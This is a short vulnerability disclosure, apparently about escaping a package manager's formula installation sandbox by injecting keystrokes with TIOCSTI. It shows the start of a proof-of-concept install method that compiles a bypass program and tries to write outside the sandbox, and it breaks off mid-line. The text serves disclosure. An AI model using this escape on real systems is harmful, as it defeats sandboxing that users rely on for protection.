Bypass of the installation sandbox by injecting keystrokes with TIOCSTI

While doing some internal testing recently, we ran into installation sandboxing and found a way to bypass it so that a formula's install script can execute commands outside of the sandbox.

  def install
    system "gcc -o bypass bypass.c"
    system "echo", "Trying to create ~/poc-sandboxed from inside the sandbox"
    # the || true at the end is so the error doesn't make the whole installation fail
    system "touch /Users/`whoami`/poc-sandboxed || true"
    system "echo", "Using …